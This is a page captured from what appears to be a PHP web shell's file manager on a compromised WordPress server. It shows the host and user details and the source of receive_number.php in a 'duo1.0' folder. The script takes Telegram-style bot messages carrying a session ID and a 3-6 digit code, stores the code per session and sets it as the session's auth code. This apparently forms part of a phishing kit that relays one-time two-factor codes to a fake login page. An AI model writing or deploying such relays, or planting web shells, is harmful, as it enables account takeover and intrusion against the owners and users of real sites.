HEX
Server: Apache/2
System: Linux ctr689471.novalocal 4.9.241-37.el7.x86_64 #1 SMP Mon Nov 2 13:55:04 UTC 2020 x86_64
User: bluecool (1005)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /home/bluecool/domains/bluecool.vn/public_html/wp-content/duo1.0/receive_number.php
<?php
session_start();
$input = file_get_contents('php://input');

// Log raw input data for debugging
file_put_contents('receive_test_log.txt', "Input received: $input\n", FILE_APPEND);

// Decode the incoming JSON data
$data = json_decode($input, true);

if (isset($data['message']['text'])) {
    $messageText = trim($data['message']['text']);

    // Log received message
    file_put_contents('receive_test_log.txt', "Message Text: $messageText\n", FILE_APPEND);

    // Fix: Adjust regex to match 3 to 6-digit numbers correctly
    if (preg_match('/^(season_[a-f0-9]+)\/(\d{3,6})$/', $messageText, $matches)) {
        $seasonId = $matches[1];  // Extracted season ID
        $number = $matches[2];  // Extracted number

        // Define the folder path where the season was already created by season.php
        $seasonFolder = __DIR__ . "/$seasonId"; // Make sure this points to the correct folder
        $filename = "$seasonFolder/selected_number.txt";

        // Log the season folder for debugging
        file_put_contents('receive_test_log.txt', "Season Folder: $seasonFolder\n", FILE_APPEND);

        // Check if the season folder exists
        if (is_dir($seasonFolder)) {
            // Save the number to the selected_number.txt file inside the pre-existing folder
            if (file_put_contents($filename, $number) !== false) {
                $_SESSION['auth_code'] = $number;
                file_put_contents('receive_test_log.txt', "Number saved: $number in $filename\n", FILE_APPEND);
            } else {
                file_put_contents('receive_test_log.txt', "Failed to write to file: $filename\n", FILE_APPEND);
            }
        } else {
            // Log if the folder doesn't exist
            file_put_contents('receive_test_log.txt', "Season folder does not exist: $seasonFolder\n", FILE_APPEND);
        }
    } else {
        // Log invalid format
        file_put_contents('receive_test_log.txt', "Message format invalid: $messageText\n", FILE_APPEND);
    }
}
?>